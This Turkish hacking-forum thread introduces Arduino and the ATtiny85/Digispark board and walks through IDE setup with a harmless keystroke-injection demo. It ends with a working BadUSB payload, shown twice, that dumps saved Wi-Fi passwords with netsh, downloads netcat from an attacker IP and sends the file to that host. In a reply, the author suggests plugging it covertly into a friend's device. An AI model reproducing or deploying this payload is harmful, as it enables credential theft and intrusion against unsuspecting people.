RacpAp.png


Kodları yazdık, karta yükledik. Sıra geldi çalıştırmaya.
Kartı USB soketine taktığımızda birkaç saniye sonra otomatik olarak içerisindeki kodları aktif edecektir ve ondan yapmasını istediğimiz adımları uygulayacaktır.
Bu adımları ekran kaydı ile sizlere göstereceğim. Hizmette sınır yok:cool:




Konu bu kadar arkadaşlar. Sizlere veda etmeden önce bir örnek kod daha bırakmak istiyorum.
"
Windows 10/11 bağlanılan wifi şifrelerini almak" adlı bir uygulama olsun.


C++:
#define kbd_tr_tr
#include "DigiKeyboard.h"

void setup() {
  // put your setup code here, to run once:

}

void loop() {
  // put your main code here, to run repeatedly:
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell");
  DigiKeyboard.delay(250);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("netsh wlan show profile name=\"*\" key=clear > wifipass.txt");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("Start-BitsTransfer http://<IP>/nc64.exe nc64.exe");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1500);
  DigiKeyboard.print("exit");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("nc64.exe -w 3 <IP> <PORT> < wifipass.txt");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(4000);
  DigiKeyboard.print("exit");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  for (;;){}
}



^
|
|





Değerli dostlarım, güzel kardeşlerim;
Bu makalemde kısaca "Arduino nedir?" sorusuna cevap bulduk.
Ardından "
ATtiny85 ile klavye kullanımı" konusunda bir örnek yaptık.
Kendi hack araçlarını yazmak
isteyenlere her zaman yardımcı olurum, hatta gerek duyarsam yazdığım araçları geliştirip detaylı bir şekilde paylaşabilirim.

Sağlıcakla kalın.











eyruvyp.png
 

'Syera

Basın&Medya Ekibi Kıdemli
e111ct4.png









Merhaba dostlarım, bu makalemde sizlere önce "Arduino nedir?" konusunda bilgi vereceğim.
Detaylı bilgilere yer verdikten sonra makaleye "ATtinny85" kartı ile deam ederek, kod yapısına bir örnek vereceğim.
Kodları inceleyeceğiz ve kartı klavye olarak kullanacağız.
Foruma katkısı ve bu alanda çalışacak arkadaşlara faydalı olması dileğiyle diyerek başlamak istiyorum.

İyi okumalar.



|

|
v




Arduino nedir?



fa3yngj.png


Arduino; elektronik uygulamalar, projeler oluşturmak için hem donanıma hem de yazılıma dayalı açık kaynaklı bir platformdur. Bu platform, programlanabilir fiziksel bir devre kartından (mikro denetleyiciler) ve bilgisayarımızda çalışan, kodları fiziksel karta yazmak ve yüklemek için bize yardımcı olan bir IDE’den oluşmaktadır.

Plaform kartları girdileri okuyabilir, sensörleri ve ışıkları algılayıp buna bir dönüş yapabilir, bir cihazı çalıştırabilir, çevrim içi birşeyler paylaşabilir (örn; .onion uzantılı bir site), LED ışılar ile oynayabilir ve buna benzer bir çok işlemi gerçekleştirebilir.

Bütün bu işlemler için yapmanız gerekenler, platform üzerindeki
mikro denetleyicilere talimatlar vermek.
Arduino platformu elektrik-elektronik ile ilgilenen insanlar tarafından oldukça popüler bir hale geldiğini söyleyebilirim. Sadece bu alanda aktif çalışan insanlar değil; hobi olarak ilgilenenler, tamirciler, yapımcılar, 3D baskıcılar, IoT geliştiricileri, öğrenciler, tasarımcılar gibi farklı alanlarda ki insanlar tarafından da bu platform sıklıkla kullanıyor.

Bunu bir getirisi olarak Arduino
açık kaynak platformu, yeni başlayanından en profesyoneline kadar geniş bir geliştirici topluluğuna sahip oldu. Çok fazla sayıda proje geliştirildi ve hala geliştirilmeye devam ediyor.

Başlangıcı ise; “
Ivrea Etkileşim Tasarım Enstitüsü” tarafından, elektronik ve programlamaya yeni başlamış öğrencilerine dah hızlı prototip geliştirebilmeleri için oluşturuldu. Kullanıcı sayısının artması ile ihtiyaca uygun yeni kartlar üretilmeye başlandı. Bu kart aralığı, IoT cihazlardan 3D baskı cihazlarına kadar genişledi.

Geliştirilen bu kartların diğer platformlardan farkı ise, yeni kodlar yüklemek için ayrı bir donanımsal parçaya ihtiyacın olmamasıdır. Sıradan bir USB kablo ile bu işlem yapılabilir. Ayrıca Arduino IDE, basitleştirilmiş bir C++ sürümü ile kodlamaya olanak sağlar.






Peki neden Arduino?


c436kc4.png


Arduino, hem basit ve erişilebilir olması ile hem de topluluğunun aktif olması ile binlerce farklı uygulama ve projede kullanılıyor. Yeni başlayanlar için anlaması kolay ve uygulaması basit olduğundan toplulukta belirli bir popülerliğe ulaşmıştır.

Windows, Mac ve Linux platformlarında çalışabilir olması da ayrı bir avantajdır. Öğretmenler ve öğrenciler arasında, düşük maliyetinden dolayı çokça kullanıldığını da söyleyebilirim. Ayrıca; tasarım işi ile uğraşanlar ve mimarlar bu platformdan etkileşimli prototipler üreterek, sanat ve müzik sektöründe olanlar enstalasyon denemeleri için, film-video yapım alanında çalışanlar hareketli platformlar için Arduino platformunu kullanmaktadır.

Gelin birlikte “
Neden Arduino?” sorusu içi birkaç madde sıralayalım;


Inexpensive (düşük fiyat) : Bu kartlar diğer benzeri platformlara nazaran daha ucuzdur. Arduino’nun en düşük imal edilen kartı dahi 50$’dan daha düşük bir değere mal ediliyor.
Cross-platform (çapraz platform) : Arduino IDE, Windows, Mac ve Linux sistemlerinde çalışabiliyor. Benzer platformların bir çoğu sadece Windows ortamında geliştirilebilmektedir.
Simple and Clear Programming Environment (basit ve net programlama ortamı) : Arduino IDE, programlamaya yeni başlayan kullanıcılar için son derece basit bir geliştirme alanı sunmaktadır. Bu bastiliğin yanı sıra, tecrübeli kullanıcılar için de esneklik sağlanmıştır.
Open source and Extensible Software (açık kaynak ve genişletilebilir yazılım) : Arduino IDE, tecrübeli programcılar tarafından genişletilebilir açık kaynaklı araçlar olarak yayınlanır. Ayrıca Arduino, C++ kütüphaneleri aracılığıyla daha da genişletilebilir. İleri teknik ayrıntıları anlamlandırmak isteyenler, AVR C programlama dili ile bağdaşlaştırabilir.
Open source and Extensible Hardware (açık kaynak ve genişletilebilir donanım) : Arduino kartlarındaki projeler “Creative Commons” lisansı ile yayınlanır. Böylece tecrübeli geliştiriciler, kendi versiyonlarını oluşturarak yayınlayabilir, geliştirebilir ve genişletebilir. Daha az tecrübeli kullanıcılar dahi sistemin nasıl çalıştığını anlayabilir ve kendi versiyonlarını oluturabilirler.







Arduino tasarımına bakış


5nu9emg.png


Arduino kartları, tasarımı yıllar içerisinde değişsede temel olarak bir devre kartı üzerinde farklı parçalar ve arayüzler içerir.
Genel içreği ise;


Çeşitli bileşenlere bağlanmayı sağlayan bir dizi pin içerir. Bu pinler iki çeşittir;
Bir durum okuyup yazabilen dijital pinler.
Dizi okuyabilen ve hassas kontrol için kullanılan analog pinler.

Cihaza güç sağlayan aynı zamanda çeşitli sensörlerin düşük voltaj güç ihtiyacını da karşılayan bir güç konektörü.

Komut yürütülmesine olanak veren ve girdilere karak verilebilmesi için programlamaya olanak sağlayan bir birincil mikro denetleyici.

Standart bir USB bağlantı noktası ile uygulanan seri konektör.

Çeşitli osilatör ve/veya voltaj regülatörü gibi mini bileşenler. Bunlar ile direkt olarak temasa girilmez.





Bazı Arduino kartlarına bakış



accpbcy.png
Uno : Başlangıç olarak en iyi tercihlerden biridir. Giriş/çıkış 14 dijital pine, analog girişe, USB bağlantısına, bir güç jakına, sıfırlama düğmesine ve daha fazlasına sahiptir. Başlamak için bir USB kablosu yardımı ile bilgisayarınıza bağlamanı yeterlidi.


7lcxr27.png
LilyPad : Bu kart, “Leah Buechley” tarafından geliştirilen, giyilebilen bir e-tekstil teknolojisidir. Kart, düz bir sırta sahiptir. Büyük bağlantı pedleri ve giysilere dikilebilen iletken ipler içeren bir tasarım yapılmıştır. Kendi giriş/çıkış, güç ve sensör ailesine sahiptir. Ayrıca yıkanabilir.


fxf4pke.png
RedBoard : Bu kart, Arduino IDE ile bir USB Mini-B kablosuyla programlanabilir. Çoğu karttan daha stabildir. Ayrıca yerleşik güç regülatörü 7-15 VDC arası her şeyi işleyebilir.


kbxs06k.png
Leonardo : Yerleşik USB’li mikro denetleyici kullanan ilk Arduino kartıdır. Bu, daha ucuz ve daha basit demektir. Bu kart, doğrudan USB kullandığından bir bilgisayar klavyesini, faresini taklit edebilecek kitaplıklara sahiptir.







la1h8pk.png




lehonb7.png


Örneğine bakacağımız bu kart, 8-pim arayüz ile gelen, otomasyon ve Arduino projelerinde kullanılan 8-bit AVR mikro denetleyicisidir.

RISC, CPU mimarisine dayalıdır. Gerçek zamanlı ve minimum güç ile çalışabilen uygulamalar için bir güç denetleyicisidir.

8KB’lık bir program belleğine sahiptir. EEPROM ve RAM yaklaşık olarak 512 bayt bir bellek alanı vardır.

Küçük paket boyutuna rağmen ATtiny85, arayüz oluşturmak için dikkate değer içerik ile gelmektedir. 5V lojik dijital 1/O pin barındırır. Ayrıca diğer sensör ve cihazlar ile birlikte kullanmak için 12C ve SPI da mevcuttur.




KURULUM


Bu kadar teknik bilgiden sonra hadi gelin sizler ile "Arduion IDE" kurulumunu ve ayarlarını yapalım.
Bu adımlara, platformun resmi sitesinden ulaşabilirsiniz.


Öncelikle siteye giderek sistemimiz ile uyumlu IDE sürümünü indiriyoruz.


oku0yxu.png


apewz13.png

Dilerseniz, "Microsoft Store"dan da indirebilirsiniz. Oraya da eklemişler.
Yükleme tamamlandıktan sonra
IDE açılacak ve karşımıza böyle bir ekran gelecektir;


lgo5r7x.png

IDE başarılı bir şekilde yüklendi.
Burada birkaç ayar yapmamız gerekiyor. İlk ayar olarak "Digistump Drivers" kurulumu yapacağız.
Bunun için link bırakıyorum.

Link'e giderek işaretli dosyayı indiriyoruz, sonra indirdiğimiz bu dosyalar içerisinden yine işaretlediğim uygulamalardan sistemimiz için uygun olanı çalıştırıyoruz.


8lay190.png
llww9qw.png


Kurulum için pencere açılacaktır.
"
Sonraki" seçeneği ile kurulumu başlatalım. İşlem birkaç saniye sürüyor. Daha sonra "Son" seçeneği ile kurulumu bitirelim.


8bydmrt.png
d0urnj7.png


Driver kurulumunu yaptığımıza göre diğer bir husus olan ince ayarlara geçebiliriz.
Bunun için
IDE'mizi açalım. Açılan pencerede sol üst kısımdan "Dosyalar > Tercihler" bölümüne geçelim.


jercv39.png

Karşımıza aşağıdaki gibi bir ekran gelecek. Burada işaretlediğim yeri doldurmamız gerekiyordu. Bizde buraya bıraktığım link ile o kutucuğu dolduralım.

g5obtxo.png


l8ijd8c.png

Bu ayarıda yaptık. Son olarak bir ayarımız daha kaldı dostlarım. Kullanacağımız "Digispark" kartının kütüphanesini eklememiz gerekiyor.
Hemen bunun için "
Araçlar > Kart > Kart yöneticisi" penceresine gidiyoruz


jx4l267.png

Karşımıza çıkan pencerede "digistump avr boards" araması yapıyoruz. Tek sonuç bulunacaktır, o kütüphaneyi indiriyoruz.

97duug1.png


92xhcx6.png

Bu adımdan sonra kod yazmaya geçeceğiz. Öncelikler üzerinde çalışacağımız kartı seçelim.

22wshfw.png


NOT: Bizler "Türkçe Q klavye" kullandığımızdan programın düzgün çalışması için bir script indirmemiz gerkiyor. Bu script dosyasını indirin,
\AppData\Local\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard
dosyasının içerisine atın ve değiştirin.

(Virustotal)


IDE'mizi açalım ve verdiğim kodları yazalım. Kodların yanlarına açıklamalarını yazdım.

C++:
#define kbd_tr_tr // <-- bu tanımlama bizim türkçe klavye kullanacağımız anlamına gelir.
#include "DigiKeyboard.h" // <-- bu tanımlama ise bu kartı bir klavye olarak kullanacağımızı belirtir.

void setup() {
  // boş kalsın.
}

void loop() {
    DigiKeyboard.sendKeyStroke(0); // <-- bu kod eski sistemler içindir. Yazmasanız da pek fark etmez.
    DigiKeyboard.delay(750); // 'delay' komutu aynı 'sleep' komutu gibi bir bekleme süresi oluşturur.
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("notepad"); // 'print' komutu belirtileni yazmak için kullanılır.
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER); // 'sendKeyStroke' komutu klavyedeki tuşa basmak için kullanılır. Burada bir ine durum var; parametre olarak son verilen tuş ilk çalışır. Yani sağdan sola yazmanız gerekiyor.
    DigiKeyboard.delay(1000);
    DigiKeyboard.print("Hello THT!");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("This app is a simple keyboard app.");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("Don't forget to stay tuned for more :)");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.print("w1sd0m presents...");
    DigiKeyboard.delay(3000);
    DigiKeyboard.sendKeyStroke(KEY_A, MOD_CONTROL_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(0x2A); // buradaki '0x2A' değeri 'KEY_DELETE' değerinin Hexadecimal formatıdır. Direkt 'KEY_DELETE' yazdığımda hata aldığım için dönüşümünü kullandım. Sizde hata aldığınız tuşlar olursa bu taktiği deneyebilirsiniz.
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
    DigiKeyboard.delay(750);
    DigiKeyboard.print("C:/Temp/green.png");
    DigiKeyboard.delay(750);
    DigiKeyboard.sendKeyStroke(KEY_ENTER);
    DigiKeyboard.delay(1000);
    DigiKeyboard.sendKeyStroke(KEY_F11);
    DigiKeyboard.delay(5000);
    DigiKeyboard.sendKeyStroke(KEY_F4, MOD_ALT_LEFT);
    for (;;){} // <-- burdaki işlem ise döngünün sonlanmasını sağlıyor. Bunu yazmas iseniz döngü sonsuz dönecektir.
}

Klavye işlemlerimiz için "DigiKeyboard" modülünden yararlanıyoruz. "sendKeyStroke()" fonksiyonu ile bir tuşa basma eylemi gerçekleştirebiliyoruz. "print()" fonksiyonu ile bulunduğumuz metin girdi yerlerine yazı yazma işlemi yapabiliyoruz. "delay()" fonksiyonu ile programa bir bekleme süresi koyabiliyoruz (milisec.).

Peki kodları yazdık sonra ne yapacağız?

Sol üstte bulunan "Yükle ->" butonuna basıyoruz.

5k5x1td.png

Butona bastığımızda IDE altında bize bir bildirim yapılıyor. Burada "Plug in device now (will timeout in 60 seconds)" yazısını görene kadar birşey yapmayacağız.
Bu yazıyı görürsek 60 saniye içerisinde kartı
USB soket yerine takmamız gerekiyor.


ttqslrk.png


9t1hmgq.png

Kartı takıp beklediğimizde yukarıda ki gibi "Micronucleus done. Thank you!" yazısının çıktığını göreceğiz. Bu yazı çıkınca kartı hemen soketten ayırın. Hemen dememin sebebi, beklerseniz kart otomatik çalışmaya başlıyor. Yani içerisine yazdığımız kodlar aktif oluyor.

Görsel olarak göstermek gerekirse; kart "
Plug in device now (will timeout in 60 seconds)" aşamasında "Yeşil,Kırmızı" bir arada yanarken, "Micronucleus done. Thank you!" aşamasında "Yeşil" tek yanıyor. Buradan da işlemin tamamlandığını anlayabiliriz.


RaXdr8.png
RacpAp.png


Kodları yazdık, karta yükledik. Sıra geldi çalıştırmaya.
Kartı USB soketine taktığımızda birkaç saniye sonra otomatik olarak içerisindeki kodları aktif edecektir ve ondan yapmasını istediğimiz adımları uygulayacaktır.
Bu adımları ekran kaydı ile sizlere göstereceğim. Hizmette sınır yok:cool:




Konu bu kadar arkadaşlar. Sizlere veda etmeden önce bir örnek kod daha bırakmak istiyorum.
"
Windows 10/11 bağlanılan wifi şifrelerini almak" adlı bir uygulama olsun.


C++:
#define kbd_tr_tr
#include "DigiKeyboard.h"

void setup() {
  // put your setup code here, to run once:

}

void loop() {
  // put your main code here, to run repeatedly:
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("powershell");
  DigiKeyboard.delay(250);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("netsh wlan show profile name=\"*\" key=clear > wifipass.txt");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("Start-BitsTransfer http://<IP>/nc64.exe nc64.exe");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1500);
  DigiKeyboard.print("exit");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("nc64.exe -w 3 <IP> <PORT> < wifipass.txt");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(4000);
  DigiKeyboard.print("exit");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  for (;;){}
}



^
|
|





Değerli dostlarım, güzel kardeşlerim;
Bu makalemde kısaca "Arduino nedir?" sorusuna cevap bulduk.
Ardından "
ATtiny85 ile klavye kullanımı" konusunda bir örnek yaptık.
Kendi hack araçlarını yazmak
isteyenlere her zaman yardımcı olurum, hatta gerek duyarsam yazdığım araçları geliştirip detaylı bir şekilde paylaşabilirim.

Sağlıcakla kalın.











eyruvyp.png
Benim bildiğim Arduino sadece basit robot yapımı için kullanılırdı. Bunu hiç düşünmezdim 😱 çok güzel bir konu olmuş ellerinize sağlık 🙂
 

ScriptKid

Katılımcı Üye
5 Şub 2022
610
91
Hocam modem şifresi kırmak için sadece verdiğiniz kodu arduino uno ma aktarma yeterlimi yoksa başka bir parça mı lazım?
 

w1sd0m

Katılımcı Üye
28 Mar 2020
699
629
𐱃𐰀𐰢𐰴
Hocam modem şifresi kırmak için sadece verdiğiniz kodu arduino uno ma aktarma yeterlimi yoksa başka bir parça mı lazım?
O kodlar wifi şifre kırma kodu değil kardeşim. O kodlar takıldığı cihazın daha önce bağlandığı tüm wifi şifrelerini alır.
Mesela mahallendeki bir arkadaşın ile dışarda buluştun ve o görmeden cihazına(laptop,android vs) bunu taktın, arkadaşının ev wifi parolasını sana gösterir.
Wifi ağlarına saldırı için şu konuma bakabilirsin >> WPA/WPA2
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.